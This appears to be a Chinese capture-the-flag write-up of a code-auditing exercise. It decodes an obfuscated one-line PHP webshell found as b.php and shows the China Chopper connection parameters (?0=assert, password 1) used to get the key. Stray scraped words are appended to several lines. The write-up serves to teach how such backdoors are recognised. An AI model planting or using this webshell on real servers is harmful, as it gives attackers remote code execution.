[ 墨者學院 ] 代碼審計 —— PHP代碼分析溯源(第1題)

0x01.題目描述:

                                    背景介紹

某日,在某公司作IT維護的朋友給安全工程師"墨者"發了一個PHP文件,說在其WEB服務器發現多了一個b.php文件,目前不肯定這個文件是開發留下的正常文件仍是攻擊者上傳的木馬後門,但願"墨者"可以幫他分析一下。php

                                     實訓目標

一、瞭解PHP語言的基本代碼;
二、瞭解PHP語言中「危險」函數的代碼;安全

 

0x02.解題過程:

啓動靶場環境後,點擊生成的連接地址,這裏給出了b.php的代碼bash

1 <?php
2 @$_++;
3 $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
4 $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
5 ${$__}[!$_](${$___}[$_]);
6 ?>

下面利用php在線工具分析一下這些代碼的含義。服務器

(php在線工具:https://tool.lu/coderunner/函數

能夠看到這裏賦值的三個變量的值:工具

$_ = 1url

$__ = _GETspa

$___ = _POSTcode

而後將這三個值帶入下面的語句${$__}[!$_](${$___}[$_])};中,即:${_GET}[!1](${_POST}[1]);最後的結果就是:$_GET[0]($_POST[1]);blog

構造菜刀的連接參數爲http://url/b.php?0=assert,密碼爲1。

鏈接便可拿到靶機目錄下的key。

 

問題總結:

這裏不明白的是爲何使用的參數是assert而不是eval,下面簡述一下assert和eval的不一樣。

eval函數中參數是字符,如:
eval('echo 1;');
assert函數中參數爲表達式 (或者爲函數),如:
assert(phpinfo()) 
相關文章
相關標籤/搜索